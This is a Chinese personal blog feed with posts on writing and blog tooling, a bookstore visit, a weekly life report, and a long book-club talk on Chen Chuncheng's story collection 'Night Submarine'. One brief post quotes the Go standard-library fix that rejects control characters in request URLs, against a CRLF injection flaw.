写作与工具——何必在乎别人的看法？

这几天也看了Bruce对于写作和折腾工具的思考，指路：https://yinji.org/5182.html

也贴一下我的观点吧

我还是觉得，写博客的人，是要稍微降低一点优越感的，本质上都是网民罢了，你在互联网上书写你的故事，他在手机短视频消磨他的时间，彼此静好

其次，想好自己的目标就好了，我就是折腾工具，看着博客页面赏心悦目，你这一句嘲讽又有啥。我就是想要写文章，不管什么界面的，只要有个网页那也好。

最后，这种嘲讽也没什么大不了的，我们不是也嘲讽那群只用手机上网的键盘侠么，人家在背后也指不定嘲讽你们这群自以为是的人呢。你是怎样，你就是怎样，又会为别人的言论而改变什么呢？

但是，某一天，我的观点突然又变了

因为我站在一个旁观者的视角，我发现，这种毫无道理的指摘，似乎本身就是错误的。

除了说你怎么老是折腾模版，博客倒是没写几篇。那么同样的问题，完全可以提好几个，比如你怎么老是写流水账，一点深度的内容都没有；你怎么老是写生活记录，一点技术类的文章都没有。

这种毫无逻辑，毫无道理的指摘，让我想起了小学时的一篇课文，搜索了下，https://www.thepaper.cn/newsDetail_forward_3971408

大意就是父子俩进城赶集，本来是父亲骑驴的，结果被路人指责父亲太狠心，于是让儿子骑驴，却又被指责儿子太不孝顺，… 凡此种种，最后已经不知道怎么做了

这篇故事对我的影响是很深的，以致于我现在都还记得。

因此，所谓“我们大可宽容些，没必要事事都嘲讽。”，我觉得说的不对。

我觉得应该直接骂回去，你tm就是个垃圾，还有资格来说我？（笑死哈哈哈哈🤣），或者，就干脆眼不见心不烦得了。那种让什么互联网多一点包容？包容个锤子，我调整好自己就行了，还帮那种败类操心

写作给我带来的变化

为什么要多写作，多读书，多去记录自己脑海中随时随地闪现的想法，好处无外有三

书读多了，字写多了，自然会体现在各种各样的地方，或是人的谈吐，或是阅历的加深，或者情感的共鸣。自从我上次主持分享之后，我发现我去年立的flag已经慢慢实现了

回想以前，偶尔写点东西还可以，但是一到要说出来，表达出来的时候，就开始紧张，开始冒冷汗。究其原因，其实是经常害怕会出现上句不接下句的情况。于是，很担心自己说不好，往往想到一个就要马上说出来，语速又快，说完了又开始卡壳。

23年上半年基本都集中在阅读了，也很少有社交，虽说我是个E人，但其实也经常处在一种IE浏览器的状态，不管是从内心独处还是与他人社交，我都能获得能量吧。下半年开始，也是源于巧合，参加了公司内的读书会，开始接触，认识了很多新的朋友，不过这是后话了，我后面会再慢慢写。

我这个人向来是很少有太多长远规划的，但是我会有一个短期的目标，并且不断给自己一些心理暗示。比如我要多阅读，要多社交，我也很少写下来，就是一直记在心里，并且持续不断地朝着这个目标努力。

现在回过头来想想，这样的规划倒是也很挺合理的，上半年提升自己，厚积薄发，下半年的时候就言之有物了。

我很庆幸，从4月份开始，坚持写作，不断与自己的内心对话，最开始磕磕绊绊，但随着阅读的积累，写作的反哺，这种状态已经让我感到很舒适了

举个例子吧，11.9分享《夜晚的潜水艇》时，虽然已经写了逐字稿，但还是会有一些脱稿临机应变的情况。比如讨论的时候就有个人小伙伴问我，人，必须要有一种确定无疑的事物吗？

我也没多想，就顺着她的话题讲下去了。我说的是，人大概可以有两种活法，第一种是赤条条来去无牵挂，就是《红楼梦》里写的那样

第二种就是，我们都知道，历史是只书写王侯将相的，我们普通人很难留下点什么，就像我写博客一样，我觉得是在写我自己的史记，当我走了之后，至少还有一点东西留了下来。至于为什么要藏呢，我想，就像《三体》最后写的那个一样，把字刻在石头上

感谢写作吧，以后也会不断地坚持下去。

杂记——手机APP布局的调整

最近又对手机app的布局做了一些调整

我在这篇周报中提到过，我不喜欢那种用文件夹来归类app的做法，但是全部平铺的话，又回导致眼花缭乱

于是我换了一种思路，是我来使用手机，那一定是以我的使用习惯为准那我又是怎么使用手机呢，很简单，电梯刷手机，短时间使用手机，长时间使用手机那自然，就可以按照这几个场景，来划分了

于是我直接划分了三页，第一屏是刷手机的app，微信，qq，小红书，豆瓣都赫然在列第二页是短时间，即十分钟左右，那么就适合回顾自己的笔记，看一些杂志之类的第三页就是长时间了，长视频，阅读类app都可以

当我按照这个思路来做的时候，很轻松就明确了

📮 Newsletter

以后所有的记录就都会自动同步到个人频道啦, https://t.me/RayeJourney

不过也会摘录一些放在博客里：

举头望明月，低头六便士——记吾非書店

Thu, 30 Nov 2023 00:00:00 GMT

举头望明月，低头六便士——记吾非書店

为什么要叫吾非書店呢？可能有两层含义吧

我不是一家书店/我不只是一家书店（毕竟是和电信合作，挺贴切的hh）
无非就是一家书店罢了，我倒是挺喜欢这个，毕竟书店总给人一种小清新，文雅装个范的感觉，不过终究无非一家书店罢了

店长叫衣然，也许出自某篇典故吧，但我并不知道，只觉得莫名好听（补充下人也超级有趣好玩的！是一颗有趣的灵魂哈哈）

一个人运营一家书店，真的可行吗，在吾非書店，我感觉这是可行的

从书籍摆放，饮品制作，活动举办，创意市集，身为店长的衣然，一个人周旋于案牍之间，却还能保持着一颗放浪形骸之外的心灵

压力虽大，谈笑自若间，却仿佛举重若轻，泰山崩于前而色不变。我能感受到一种源自于最纯粹对书籍的热爱

在衣然讲解书籍摆放的时候，其中有几个比较有意思的细节，她刻意将林语堂和鲁迅的书摆在一起，希望这一对前结怨的文人，也能因这现世间一可爱的女子，化解掉往昔的仇恨吧。文人自是有相轻的宿怨，作为读者的我们，可不管那么多

还有木心，木心，多么好听又优美的名字，也藏在这书店的某一角呢，只有那些愿意慢下心来逛书店的人才能找到吧。指尖在一册册书籍间滑过，拂去一粒粒灰尘，看着一个个大师的名字，仿佛宇宙的终极真理就已然被掌握

逛书店，不是那种一进来就能直接买一本书的人，那目标太明确了，互联网上的书店就是这样，对于读者来说，更便宜的钱，送上门的物流，更别说大量的折扣与优惠了

可这世上总该还是要有一些人去坚守，总有些价值是无法用价格来衡量的，总有些逆子，生长于疾风之下，咬定于青山之中

在吾非書店，确实能看到一群爱书的人，

典雅的布局，电影的幕布，装点的花朵，古朴的书柜，随处可见的涂鸦，明信片，入口的漂流书屋，窗台边的旧书，未开封的新书，面朝阳光的卡座，咖啡的香味，我实在是忍不住想多待一会

一整天在茶在书在咖啡在阳光在几案间磨磨蹭蹭的好日子，这天上真有掉下来的馅饼！

只是可惜在深圳，很少有那样一种氛围了，曾今听过看理想的一档播客节目，标题就很嘲讽了，《在深圳，围观搞钱》

我很羡慕在北京，能有一群同样忧国忧民的小伙伴，在一个清风明月的夜晚，举杯把盏，半醉半醒之间，脱口而出一句，“这个世界会好吗？”

为之潸然泪下，为之欢欣鼓舞

golang 安全问题

Tue, 21 Nov 2023 00:00:00 GMT

golang 安全问题

net/http CRLF漏洞

没有判断：

docker pull golang:1.11.5-alpine3.7

ruri := r.URL.RequestURI()
if usingProxy && r.URL.Scheme != "" && r.URL.Opaque == "" {
	ruri = r.URL.Scheme + "://" + host + ruri
} else if r.Method == "CONNECT" && r.URL.Path == "" {
	// CONNECT requests normally give just the host and port, not a full URL.
	ruri = host
	if r.URL.Opaque != "" {
		ruri = r.URL.Opaque
	}
}
if stringContainsCTLByte(ruri) {
	return errors.New("net/http: can't write control character in Request.URL")
}

移除掉CRLF

// stringContainsCTLByte reports whether s contains any ASCII control character.
func stringContainsCTLByte(s string) bool {
	for i := 0; i < len(s); i++ {
		b := s[i]
		if b < ' ' || b == 0x7f {
			return true
		}
	}
	return false
}

周报21 惠州、新域名与阅读分享

Tue, 21 Nov 2023 00:00:00 GMT

周报21 惠州、新域名与阅读分享

距离上一篇周报已经过去两周了，我在flomo上记过一段想法：

最近一段时间停了周报，感觉写的越多，就越沦为一种负担和强迫，因此有必要向内求索，向外探寻，去重新发现更多有意义的事情，还有值得记录的想法

这两周时间也有了一些新的体验，又忍不住开始写周报了🥰

上周六组内团建去了一趟惠州巽寮湾，挺累的，不过在海边的小别墅烧烤，夜晚抬头看久违的星星，以及深夜的德州都惊喜满满。周日中午赶着打了一辆顺风车回深圳，作为主讲人，分享了一本我最喜欢的书《夜晚的潜水艇》，最开始稍有些紧张，额头一直冒汗，但很快就进入了状态，就是不知道语速有没有放慢下来，期待后续再次准备好新的分享，可能会讲点历史方面的书吧。工作时摸鱼想了下还是有必要搞个个人的域名，之前注册了一个 raye.wiki 但总感觉差点意思。搜了下raye 相关的域名差不多都没了，只好退而求其次，rayepeng.net 还挺喜欢的，迁移到cloudfare的解析，白嫖下解析套餐。你现在看到这篇文章的时候，我已经完成了域名迁移。

前段时间听杨照老师讲司马迁写《史记》，才意识到有很多问题实际上没想到的。《史记》作为第一部纪传体史书，其面临的困难是很多的，试举一例，项羽和刘邦的鸿门宴，两个人都经历过，那这段故事应该放在谁的传记里？司马迁给出的答案是放在项羽本纪中，而对应到高祖本纪中，则是简单地略写。

我突然想到这个例子，是因为写周报这件事看似简单，实则就像写史记一样，虽不是什么通古今之变的作品，但也是属于我个人的一些微不足道的记录。其中的详略安排，只有写起来的时候才能感受到。写作与写作之间，其实本没什么高下，如果可以，我也想做司马迁身旁的一位书童，为其研墨镇纸。

惠州

虽然但是，临时起意的旅行还是打乱了我的安排。惠州的团建虽说比较仓促，但体验还是不错的，虽然巽寮湾已经是第二次去了。车上还看到了上次团建时吃海鲜大排档的餐馆🤣，属于是故地重游了

第一次室外温泉，貌似没看到几个好看的小姐姐🐶，但是真的好冷。披着一个毯子游走在各个温泉池之间，同时还解锁了泡温泉差点晕倒的成就，这一点和pr5体验一致了属于是🤔

回去后便开始了紧张的切菜串串烤串的工作，一群人忙活到深夜12点多才吃上第一口肉，都怪木炭不给力🤣。但一轮弯月当空，头顶上还有无数的星星，以及远处可见的烟花，都带来了很多惊喜

惠州夜晚的星星是真的太多了，在深圳哪怕是有，也鲜少有这样的闲情抬头凝望一颗颗明亮如宝石般的星星。而且，手机拍摄的星空比肉眼见到的要多多了，冷知识+1

同事安利了一个星图软件 Stellarium，简直不要太好用。我从小就不知道怎么看哪颗星星叫什么名字，就像我可能现在还认不出农田里的作物叫啥一样（其实主要是教科书上那点知识，以及老师讲的根本就不清楚）

封面图出自我们在巽寮湾住的小别墅

读书会分享

虽说作为一次线下读书会主讲人是我一直以来想要做的一个事情了，不过真正实践起来还是会遇到很多的问题

其中就包括我一拖再拖的稿子，虽然很早就开始构思了，但实际上都是到临近分享的前一周开始动笔（我这该死的拖延症

虽然前一周的周末没有完全整完，但是预计着上班时间摸摸鱼+周六还有一天肯定能搞完的结果一上班就发现，我将要面临两个汇报材料的整理，头都整麻了，看来上班摸鱼是没法了周三的时候，突然又临时决定周末去惠州团建？我..真就计划全被打乱了呗😀

于是只能每天下班后，靠着上床睡觉前的俩小时来续命整稿子和ppt了

果然人太忙了，就会导致失去游戏的兴趣，我一点打游戏的想法都没有，累的时候只想躺下来看看书

他在幻想的羊水中写作——11.19 《夜晚的潜水艇》分享 - raye~ (rayepeng.net)

新域名

xlog博客域名正式更换为 rayepeng.net 了

同时也解锁了使用 obsidian 来发布 xlog博客，感觉效率就上升了好多了，恰好Ulysses的半年订阅也已过期了，于是就全部迁移到obsidian来吧

obsidian现在也确实越来越好用了，从两年前我第一次接触的时候，感觉还只是能用的水平，现在的功能更加完善了

sync-to-xlog 插件体验了下，感觉还有几个可以优化的点

自动识别我在obsidian的标签，并且同步到xlog上，同时发布的文章中去除掉文本中的标签？
双向链接其实并没有转化过去，这个其实有点难搞

newsletter

以后所有的记录就都会自动同步到个人频道啦, https://t.me/RayeJourney

不过也会摘录一些放在博客里：

他在幻想的羊水中写作——11.19 《夜晚的潜水艇》分享

Sun, 19 Nov 2023 00:00:00 GMT

他在幻想的羊水中写作——11.19 《夜晚的潜水艇》分享

自我介绍

大家好，我是来自xxxxxx的raye，这次要给大家分享的这本书是《夜晚的潜水艇》

我的工作和平台运营相关，大家叫我raye就行了（虽然我以前也有个笔名，叫河广，语出诗经，“谁谓河广，一苇杭之”）

简单介绍下我吧，从大学时代开始喜欢写博客，raye.xlog.app现在是我唯一还维护的了（最近把域名切换到了rayepeng.net，不过会自动重定向的），其余的爱好就是羽毛球和主机游戏了，日常周末上午滨海约球局，欢迎随时交流

阅读方面，是一个重度历史阅读爱好者，微信读书给我总结的热力图是酱

我之前还分享过一本《微积分的力量》，不过是在其他的读书会上，而且是在线上。这次也是想挑战下，同时让更多的人看到这本好书

由于这本书比较特殊，实际上是由9篇小说的合集，因此我每讲完一篇小说后，就会有一些问题提给大家另外我准备了两本夜晚的潜水艇，双十一的时候看价格比较低入了两本准备送给大家的，并且我这个人有一个观点，那就是必须要送旧书，因为未拆封的新书总给人一种距离感，反而会让人束之高阁。所以这两本书一周前就到了，并且放在我书柜上故意做旧了一周，因为我真的两本都有翻看和记录，后面我看谁回答的比较好就送出去吧🤣，当然你也可以选择不要，因为微信读书上也有这本书

第一篇夜晚的潜水艇

介绍

我不知道有多少人知道博尔赫斯，但是我一开始绝对是想不起这个人的，直到我后来才想起来他说的，曾经无数次出现在所有作文中的一句话：

如果有天堂，那一定是图书馆的样子吧

这本书里的很多细节其实和博尔赫斯都有一些照应关系，或者不好的话说就是碰瓷，但我们大可抛开这一切，专注于欣赏作品本身

这也是这本书的第一篇了，不知道是不是有意无意，它被放在了这本书的第一篇。你可以说是出版社有意为之，但这个标题其实并不太吸引人，反而会让人产生误解

对，千万不要被书名所疑惑了，翻开之前可能以为是类似儒勒凡尔纳的地心游记，八十天环游地球一类的科幻小说，实际上并无太多关系

当然，你也可以说是按照作者最喜欢的顺序排列的，当你读完整本书后，或多或少会觉得，这可能就是作者的另一种形式的自传了，可能很多人都觉得陈透纳，能看到大部分人的身影

故事很简单，我们可以从书中摘出三句话来代表三条线索，相信大部分人都看完了第一篇，所以也就不去费口舌地讲一遍内容了

同年春天，一个念头在黎明时分掉进他梦中，促使他资助了一场史上最荒诞的壮举。他要找到博尔赫斯扔进海里的那枚硬币。
遇到一艘潜艇卡在那里，不知是哪国的，我们出手救了它
海浪冲上来一小片金属疙瘩，锈蚀得厉害。小孩捡起来看了看，一扬手，又扔回海里去了。

想象力

这本书最吸引人的点，可能就是交织于其中的想象力了

陈春成是90后作家，因此我们可以在文字中看到很贴近我们生活的事物，这也带给了我们一种无与伦比的亲切感，如：

每天夜里，我坐到书桌前，用手指敲敲桌面，系统启动，桌面就变成控制台，上面有各种仪表。前方的窗玻璃显示出深蓝色的海底景象。副驾驶位上的皮卡丘说：皮卡皮卡！它的意思是，Captain Chan，我们出发吧！妙蛙种子说：种子种子。这是说，一切准备就绪。

我不知道有多少人读到这里的时候，和我一样，掩卷，慧心一笑。尤其是第二篇竹峰寺中还提到了打魔兽

我相信每个男孩看到这里，都会忍不住笑出声来，我相信每个小男孩都会有过类似的幻想，小时候会拿着手头的玩具，再利用手头的环境，泥土，石头，沙子，草丛，自行去勾勒出一副星球大战的图景，驾驶着机甲穿梭于多个平行时空，所有的物理规律在都无法阻碍你，上可摘星揽月，下可日行八万里

这也就是为什么，我们玩到塞尔达的时候，会发现这游戏真tm好玩，我举个一个例子，当你从高空落下的时候，旁边飞过一颗流星，你会发现那颗星星是真的可以摘的！

类似的场景，沈三白也曾在浮生六记中写到过，”余常于土墙凹凸处，花台小草丛杂处，蹲其身，使与台齐；定神细视，以丛草为林，以虫蚁为兽，以土砾凸者为丘，凹者为壑，神游其中，怡然自得。”

其实我恨不得很早就读到这部作品，因为当你长大后再阅读的时候，你就会去自然而然的寻找里面的解释，而不是相信眼前的答案，如：

有一晚睡前，我看了好久莫奈的睡莲，梦中我变得很小很小，在那些花瓣间遨游，清晨醒来后，枕边还有淡淡幽香。早饭时母亲问我是不是偷喷了她的香水。

妙蛙种子问：种子种子？（今晚这么晚？）我说，久等了，出发吧！那晚我们在北冰洋的冰层下潜行。我忘了设计取暖装置，结果第二天醒来，感冒了。

我相信很多人看到这里的时候，都会情不自禁的给出解释，梦游喷香水啦，忘记盖被子着凉啦

但是你会发现成年人的解释，总是苍白无力且煞风景的，焚琴煮鹤大抵不过如此。反而在想象力中，梦游可以被解释为在花瓣中遨游，忘记盖被子可以被解释为没有设计取暖装置

我想到了以前真实见过的另一个邻居小孩的故事，那个小孩看到下暴雨，你知道他将其想象成什么吗？下暴雨，那是天和地在拔河。

陈透纳也是一个让人扼腕的故事，故事的结尾，为了高考，为了那些讨厌的事物：

我想象我的想象力脱离了我，于是它真的就脱离了我。那团蓝光向窗外飘去。我坐在书桌前，有说不出的轻松和虚弱，看着它渐渐飞远。最后它像彗星一样，冲天而去。

关于想象力，读到这篇的时候一些童年的回忆瞬间就击中了我，这个回忆是关于一位作家，我几乎读完了他的所有作品，让大家来猜一下

他只有小学学历，他的儿子也只有小学学历
他自己一个人创建了一本杂志，只刊登自己的作品
他笔下的创建的形象有一个男孩，一个女孩，两只老鼠，一只大灰狼

郑渊洁，不知道大家猜出来了没有

类似的写法，郑渊洁的童话故事中也有过类似的描写，皮皮鲁因为厌恶学校对想象力的扼杀，因此每次写日记的时候都要写两本，一本是为了应付学校检查的，另一本则是在其中发挥自己无穷无尽的想象力

我特怕为了迎合老师的要求而写日记导致葬送了我的文学天才，假如我的遗传基因里有的话。正当我为此苦闷而惶惶不可终日的时候，电视中的一则新闻启发了我。那新闻大意是，有一家企业为了逃税，建立了两本账。一本真账给自己看，一本假账蒙蔽税务人员。我决定借用该企业的这个方法，写两个版本的日记，也就是建真假两本账。写真日记的目的是一旦我身上有文学基因，就由此保留住了。谁让现在的科学还落后到不能化验出每个人身体里富含何种特长呢。在真日记里，我自然会极尽发挥想像之能事。写假日记的目的不言而喻，是为了应付和糊弄老师骗个好分数达到升学的目的。记住，一个人有两个不同版本的日记，这是我皮皮鲁的专利。

总结

我今年回顾郑渊洁的作品，写下了这么一段话：郑渊洁写的最好的地方，是他从一个孩童的视角去对成人世界的描绘，从大灰狼、小老鼠等被人嫌恶的角色一点点着笔。他对人性的最黑暗处进行描绘，像一个最精巧的手术专家对人类的心灵进行剖析。是对人心的无尽探索，展示出隐藏在笑声背后的深层次思考。每每写到这里，他就开始失控，开始癫狂，好像人类的喜怒哀乐都与他无关。他从容地穿越理性与荒诞的边界，将童话世界和现实生活的界限模糊化，陈旧腐朽的观念被打破，世界的运行规则被一笔带过，展现出一个充满奇幻色彩的世界。在这个世界里，孩子们学会了勇敢面对困难，感受到友谊的力量，而成人们则在这个童趣的世界中找回了失去的纯真。

9月3日，重读《夜晚的潜水艇》写下了如下的读后感

看陈春成的小说，就像一个患者，被他连哄带骗地，在手术床上躺下闭上眼睛，麻药入体，惨淡的灯光下，当他确认你已不能动弹。每每此时，他便开始癫狂，开始近乎变态的对文字进行拆解，恨不得只留下偏旁部首，如同施展玄妙的文字阵法似乎灵魂迷宫曲折的道路，宇宙尽头演化的规律，幽暗空间奇妙的玄幻，尽皆为其所包裹你只能眼睁睁地看着这一切，无力反抗，无力挣扎这其中，第一篇《夜晚的潜水艇》则尤为让我欣赏。在孩童的眼中，每一滴雨水都可能是一场大冒险的开始，每一处彩虹都是通往另一个世界的门户，每一个字都充满了魔法和力量就像一幅永远画不完的画，一本永远写不完的故事，一片难以穷尽的蓝天然而结尾，仅剩的稀薄想象力，早已无力支撑起潜艇的运行 “这里不再有繁密的枝叶、柔软的泥沼、斑斓的鹦鹉和吐着信子的蛇，眼前只有确凿的地面和匆匆的人”

刚刚提过，夜晚的潜水艇奠定了整本小说的基调，那就是幻想，荒诞

这是一场梦境与现实交织的旅行：海底漫游的少年、深山遗落的古碑、弥散万物的字句这是一场想象与惊奇的饕餮盛宴：云彩修剪站、梦中的彩笔，蓝鲸内的演奏这是一场关于寻找与藏匿的冒险：铸剑与酿酒、夜晚静谧的湖泊

问题

你也会有类似的幻想吗？

竹峰寺 & 李茵的湖 —— 何以抵御世间的无常

竹峰寺的故事是有两条线索交织起来的，一个是关于钥匙的故事，是讲我把钥匙藏到竹峰寺的故事，因为我回到老家，发现老屋已经都被拆迁了，只剩下一把钥匙，我则希望将仅剩的旧物藏起来，因为我认为，如果一样事物以后我还能找到，那么我就永远不会忘记

另一个是关于石碑的故事，则是讲破文革四旧的时候，竹峰寺的和尚们将一块历史悠久的石碑藏起来，那块石碑叫蛱蝶碑，是相传寺庙里有人见到一只蝴蝶曾经落在大佛像的头顶。和尚们藏好石碑后逃离下山，等到文革结束后，执掌寺庙的和尚希望能找到这块暗藏的石碑，来让寺庙更加知名，但是老和尚们当初立下誓言怎么也不肯说出具体的隐藏位置

故事的结尾，两条线索串起来，我在藏钥匙的过程中，推断出了和尚们藏石碑的位置，但我并没有说出藏匿的地点，而是将钥匙藏在石碑的旁边，故事到这里也就结束了

确定无疑的事情有这么一两桩，也就足以抵御世间的种种无常了

陈春成的文字真的如同《竹峰寺》这个标题一样，你仿佛置身在竹林中散步。

我摘录了两段给我印象最深的

有时从书页中滑落下一片干枯的芍药花瓣。也不知是谁夹在那里的，也不知来自哪个春天。已经干得几乎透明，却还葆有一种绰约的风姿。而且不止一片。这些姿态极美的花瓣，就这样时不时地，从那本娓娓述说着世间一切美尽是虚妄的书卷里，翩然落下

那时候家里还养着一只小狗，然后就带着它去后山上完，我老家在浏阳，后山上以前全是花炮厂，就是做烟花爆竹的。不过都拆迁了，都已经长满了和我差不多高的草了，就带着我的小狗，抄起一根不知道从哪里来的木棍，一路探险。偶尔能碰到没有拆干净的断壁残垣，然后回忆起小时候是不是在这里玩过，偶尔回去跟爸妈讲起某个位置，他们就会跟我讲那时的故事，那个花炮厂曾经因为失误爆炸过，伤了好几个人啦，哪个花炮厂的老板跑路了呀等等。

我想象在黄昏和黑夜的边界，有一条极窄的缝隙，另一个世界的阴风从那里刮过来。坐了几个黄昏，我似乎有点明白了。有一种消沉的力量，一种广大的消沉，在黄昏时来。在那个时刻，事物的意义在飘散。在一点一点黑下来的天空中，什么都显得无关紧要。你先是有点慌，然后释然，然后你就不存在了。那种感受，没有亲身体验，实在难于形容。如果你在山野中，在暮色四合时凝望过一棵树，足够长久地凝望一棵树，直到你和它一并消融在黑暗中，成为夜的一部分——这种体验，经过多次，你就会无可挽回地成为一个古怪的人。对什么都心不在焉，游离于现实之外。

这段话是整篇当中，我最有感触的，一些童年的回忆很容易就涌了上来。

以前我老家还在农村的时候，小学放学后，那时候爸妈还没回家，作业又早就写完了，然后就回到放学回家的那条路上，正好路边有一颗小树，就坐在那下面，看着太阳一点点落山，望着那条通往外面的小路。在乡下，你是能看到太阳一点点被远处的山给遮挡的，那个时候也不会想太多，也没有太多负担，就像坐在无垠的旷野中发呆一样，感受到自己一点点的淡出这个世界，只有等到有人走到你面前时，你才惊觉，刚刚好像发生了点什么。

李茵的湖，是一个整体读下来都比较灰暗，伤感的故事。

一段记忆，共同经历过的人早都随手抛下，她却当珍宝一样收藏至今。

故事里我在和李茵谈恋爱的时候，发现她非常怀念全家出去郊游时的一张全家福，照片里有一个湖，是她对过去美好的记忆的一丝寄托。他们俩一直在找那个“湖”，几乎要把那个小城市所有的湖都逛完了，但是仿佛那个“湖”从不存在过。而作者又在机缘巧合之下得知了那个“湖”的位置，而那个湖已然被填埋掉建成了一个停车场了。那个湖原不是一个湖，至少远没有湖那么大，但对于孩子般大小来说，也算是个湖了。当李茵知道那个“湖”不在了之后，一贯淡漠的她，却也叹息一口气，仿佛心中对过去美好回忆的寄托不存在了一般。

其实，宁愿不要去找到那个湖，就算知道了真相也不要告诉李茵

关于李茵的湖，其实我也还有一个故事可以和大家分享，说来也是我所经历过的一个有点类似聊斋的故事，但是我至今还记得

关于这个主题，何以抵御世间的无常，我也还有一个故事可以和大家分享，说来也是我所经历过的一个有点类似聊斋的故事，但是我至今还记得

这个故事发生在我刚进高中的时候，一次去上课，我和我的同学路过走廊的时候，我突然看到了一个熟悉的女生身影，于是我喊了她两声，但她没有回应我，我以为她没看见我就走了

这个熟人是谁呢，是我的初中同学，我和她当时都是化学课代表，并且由于我当时化学学的比较好，所以很多时候也跟她讲题，并且我们当时也在一个小组，我是组长

初中毕业后，其实我记得我和她应该不是在同一所高中的，所以那次见到她我也很意外，但没往心里去

那为什么我会见到她呢，故事的答案很快就来了。高一的寒假，我们初中同学聚会，我没看到她。吃完饭结束后，一个很调皮捣蛋的同学，突然感慨了一句，说人生真的很无常，一年前还活生生的站在你面前的人，转眼就去世了。我当时大惊，忙问是谁，这时候估计答案大家也知道了

就是我路过走廊，连喊了两声，没有回应我的那个她

她得白血病去世了

我后来屡次搜索我的记忆，我一定是喊了她的名字的，并且我身边的同学还复述了一遍，哦原来她叫___！

只是后来，我的同学也不记得了。我每次想起来这个事情的时候，是真的后悔，后悔当初为什么没有多喊几下她的名字，也许会发生什么呢

问题

“确定无疑的事情有这么一两桩，也就足以抵御世间的种种无常了”，你有确定无疑的事情吗

传彩笔 & 红楼梦弥撒 —— 真理的探寻

我没有打算按照原来这本书每一篇的顺序来讲，而是重新组合了下。因为第二篇《竹峰寺》也写的很美，所以我们先讲第三篇和第六篇

这两篇为什么我想放在一起讲呢，因为我觉得这俩都有点像科幻小说

传彩笔

传彩笔的故事大概是这样的，主人公是一个县城的作家，偶尔写点东西，他在梦中与一位老者讨论文学，老人临走前送给了他一支笔，可以写出这个世界最伟大的作品，但是其他人无法看到。

当我获得了彩笔之后，有一段形容我写作的句子：

起初，我的脑子像一面巨大的中药柜，词汇分门别类地躺在无数抽屉里，我清楚它们的位置，熟练地抓取需要的文字，配成需要的句子。该芬芳的芬芳，灿烂的灿烂。到后来，文字纷纷扬扬从天而降，我像在雪中舞剑，总能在万千雪花中击中最恰当的一朵。

可是当我真正写出了伟大的作品后，“我渴望听到别人的评价，来将这狂喜落到实处”

我甚至想，如果我维持着我原来的天分，还可与他人分享写作的乐趣，“那种欢乐虽然细碎，毕竟是细碎的珠玉”

最后，我将这只彩笔送给了另一个位少女，也不再写作了。

故事就是这样的，不过相信大家看到这个标题的第一眼，应该都条件反射的念出李商隐的那句诗

“我是梦中传彩笔，欲书花叶寄朝云”

李商隐想要变成江淹，得到梦中的那只彩笔，写下清丽的词句，寄给巫山的神女

我们都认为江郎才尽，是因为江淹失去了那一只彩笔，其实不然，陈春成从另一个角度解读，他认为江淹原本就才华横溢，传世之作都写于得笔之前，因此才有得笔的资格。得了那支笔后，他成了真正的天才，写出了伟大的诗，但无法示人，因此被误解为才尽。他也许失口对人说过那支笔的存在，世人根据他的创作经历，曲解了故事的原委。

问题

“如果你可以写出伟大的作品或领悟宇宙的真理，但只有你自己能领受，无论你生前或死后，都不会有人知道你的伟大——你愿意过这样的一生吗？”

不知道大家对这个问题的看法，不过我相信，对于我来说，我是会选择的。

我最开始看到这个故事的时候就想到了刘慈欣的《朝闻道》，所以这也是为什么我觉得《传彩笔》更像一篇科幻的小说一样

这里也给没看过的小伙伴简单讲一下，《朝闻道》讲的是在世界上最大的粒子加速器即将建成之际，就在科学家们以为大一统模型即将诞生的时候，来自宇宙外部的声明，我们称之为排险者，毁灭了科学家们建造的粒子加速器。因为大一统模型的建立会导致宇宙终极真理被发现，从而带来宇宙的毁灭

但是探索宇宙的终极真理，是每一位科学家梦寐以求的夙愿，于是排险者在沙漠上制造了一个“真理祭坛”，科学家们在上面得到自己要知道的真理，之后立刻被毁灭。

我觉得我就像朝闻道里面的科学家们一样，我也是愿意的，没有理由，如果非要有的话，那就是用登山者的话把，因为它就在那里

写作到底是为了取悦自己还是取悦他人呢？

我们把问题缩小一点，前一个问题很大，算是一个比较偏激的问题了，这个问题就比较小了，只是谈谈写作

罗兰巴特提出过一个理论，“作品在完成之际，作者就已经死亡，剩下的的解读工作，就是读者的权利了”。有人解读为，文本，作者，读者，这三者其实是互相影响的，即原创，阅读，互动。

所以我其实认为，写作，你可以把取悦自己当做目标，但如果它在完成了取悦自己的功能后，还能有机会去取悦他人，那这也是我所乐意见到的，但两者之中，我更偏向于取悦自己。

开个玩笑，有没有哪些场景里面写作就是为了取悦他人呢？比如程序员们日常在写技术文章或者文档的时候，其实很大一部分原因都是为了取悦他人，不然为什么说程序员最讨厌的事里面有一件就是写文档了，因为你是要为他人考虑，这个过程很枯燥，很反人类的。

其实可以看到，文学和科学在某种程度上是相通的，原来宇宙的终极真理就是红楼梦

尺波 & 酿酒师 —— 庄周晓梦

这几篇我很想放在一起，因为这三篇或多或少都有一些庄周梦蝶的感觉酿酒师这篇，可能比较特别，就是单纯地讲了一个故事，读完后你甚至觉得不知道讲了什么

酿酒师这篇，真的太像庄子的庖丁解牛了，尝试对比下：

他造酒之时，一举手一投足都好看极了，都合乎节拍，行云流水，洋洋洒洒，轻快舒畅，像一种舞蹈，自身生出韵律。他一边投米，一边低声哼唱。封口后，坛中如鸣佩环

只有达到了一种境界，才能一举一动，其实程序员写代码有时候也有这种感觉，当你觉得写得很舒服的时候，敲代码就像是在弹钢琴一样美妙

为什么喜欢这种故事呢，就像聊斋一样，故事就是故事，听完了就结束了，不需要费尽心思，去解读其中的意义

裁云记 & 音乐家 —— 逃离

裁云记的故事比较好玩，讲的是元首来一个城市视察，开了个玩笑，觉得天上的云像抹布一样。我的工作就是在一个云彩工作站里，每天的工作就是将云朵裁剪成各种形状。

工作之余，我有了很多的爱好，比如花三个月时间研究建文帝的去向，又花了几个月时间研究永动机，但是我发现这么多爱好就像很多岔路口，我不知道哪个更适合我，于是我就在分叉口徘徊了很久

之后我去拜访了一个我的老师的老朋友，老人跟他说，“有的人注定会掉进某个岔路口去，而有的人就只会在外面徘徊”

老人也跟讲述了自己是如何落入一个陷阱里的，他偶然间得到了一本博物馆清退的古书，他在研读后，发现里面的对对子游戏包含了玄机，于是他就花费了一生的精力去研究，后来他发现，如果将上面的对联补充完整，那么世间文字会尽数消失，天地复归于混沌。

这时候，我好像就恍然大悟了，并决心用自己一生的时间去走遍所有的岔路口。

